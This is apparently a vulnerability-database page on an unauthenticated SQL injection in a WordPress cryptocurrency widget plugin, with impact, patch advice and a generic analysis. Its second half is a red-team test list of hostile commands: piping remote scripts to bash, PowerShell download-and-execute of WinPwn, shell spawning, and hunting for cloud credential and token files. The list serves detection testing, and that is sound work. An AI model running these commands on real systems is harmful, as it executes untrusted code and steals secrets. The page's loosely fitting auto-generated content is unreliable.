CVE-2022-44588
Overview
This vulnerability is an unauthenticated SQL injection affecting the Cryptocurrency Widgets Pack WordPress plugin versions up to 1.8.1. The root cause is improper sanitization of user-supplied input within database query parameters, specifically in AJAX request handling. The flaw exists in the admin-ajax.php endpoint processing the mcwp_table action, allowing injection of malicious SQL commands through crafted query parameters.
Vulnerability Description
Unauth. SQL Injection vulnerability in Cryptocurrency Widgets Pack Plugin <=1.8.1 on WordPress.
Impact
An attacker can execute arbitrary SQL commands on the backend database without authentication, enabling unauthorized data access, modification, or deletion. This includes potential theft of sensitive user or configuration data and disruption of database integrity. The vulnerability facilitates remote exploitation from any unauthenticated user, posing a direct threat to data confidentiality and availability within affected WordPress installations.
Solution
Upgrade the Cryptocurrency Widgets Pack plugin to a version later than 1.8.1 where this SQL injection vulnerability is addressed. Refer to the Patchstack advisory available at https://patchstack.com/database/vulnerability/cryptocurrency-widgets-pack for detailed patch instructions and version-specific fixes. Applying the vendor-provided update eliminates the unsanitized input handling in the vulnerable AJAX endpoint.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Cryptocurrency Widgets Pack Plugin for WordPress is characterized by an unauthenticated SQL injection flaw. This type of vulnerability allows an attacker to manipulate SQL queries executed by the application, potentially leading to unauthorized access to sensitive data stored in the database. The plugin, which is widely used for integrating cryptocurrency price widgets into WordPress sites, fails to properly sanitize user inputs. As a result, an attacker can craft malicious input that is directly executed as part of a SQL query, bypassing authentication mechanisms and gaining access to the database without any prior authorization.
Attack vectors for exploiting this vulnerability are varied and can be executed remotely, making it particularly dangerous. An attacker could leverage this flaw by sending specially crafted HTTP requests to the affected plugin's endpoints, which may not require user authentication. For instance, an attacker could manipulate a URL parameter or form input that interacts with the database. Once the SQL injection is successful, the attacker could extract sensitive information such as user credentials, financial data, or even administrative access tokens. Furthermore, the attacker could modify or delete data, leading to data integrity issues or service disruptions.
The real-world impact of this vulnerability can be severe, especially for businesses that rely on the Cryptocurrency Widgets Pack Plugin for their online presence. Given the plugin's nature, it is often used by cryptocurrency-related websites that may handle sensitive financial transactions or user data. A successful exploitation could lead to significant financial losses, reputational damage, and legal ramifications due to data breaches. Additionally, the high CVSS score of 9.8 indicates that the vulnerability poses a critical risk, making it imperative for organizations to address it promptly to avoid potential exploitation.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the plugin to the latest version is crucial, as developers often release patches to fix known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application. Organizations should also conduct regular security audits and penetration testing to identify and remediate vulnerabilities proactively. Furthermore, implementing input validation and sanitization practices within the application code can significantly reduce the risk of SQL injection attacks.
In conclusion, the unauthenticated SQL injection vulnerability in the Cryptocurrency Widgets Pack Plugin presents a significant threat to WordPress sites utilizing this tool. The ease of exploitation, coupled with the potential for severe consequences, underscores the importance of maintaining robust security measures. By prioritizing timely updates, employing detection mechanisms, and fostering a culture of security awareness, organizations can effectively mitigate the risks associated with this vulnerability and protect their digital assets from malicious actors.
The CVSS score for CVE-2022-44588 has been revised upward from 9.8 to 9.9, reflecting a marginal but meaningful reassessment of the vulnerability’s criticality. Concurrently, the Exploit Prediction Scoring System (EPSS) indicates a modest increase in the likelihood of exploitation, rising by approximately six percent to a score placing this vulnerability in the 97th percentile of predicted exploitability. While no new exploit techniques or proof-of-concept codes have surfaced in our telemetry, the incremental rise in EPSS suggests growing interest or potential preparatory activity among threat actors. This subtle shift underscores an elevated risk posture for organizations relying on the affected Cryptocurrency Widgets Pack Plugin, as the vulnerability remains highly exploitable and attractive for adversaries seeking to leverage unauthenticated SQL injection vectors. Consequently, defenders should recognize that the threat landscape is becoming incrementally more favorable to exploitation attempts, warranting sustained vigilance despite the absence of fresh exploit disclosures.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Blocksera | Cryptocurrency Widgets Pack | All |
cpe:2.3:a:blocksera:cryptocurrency_widgets_pack:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-44588 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/cryptocurrency-widgets-pack/wordpress-cryptocurrency-widgets-pack-plugin-1-8-1-sql-injection-sqli-vulnerability?_s_id=cve |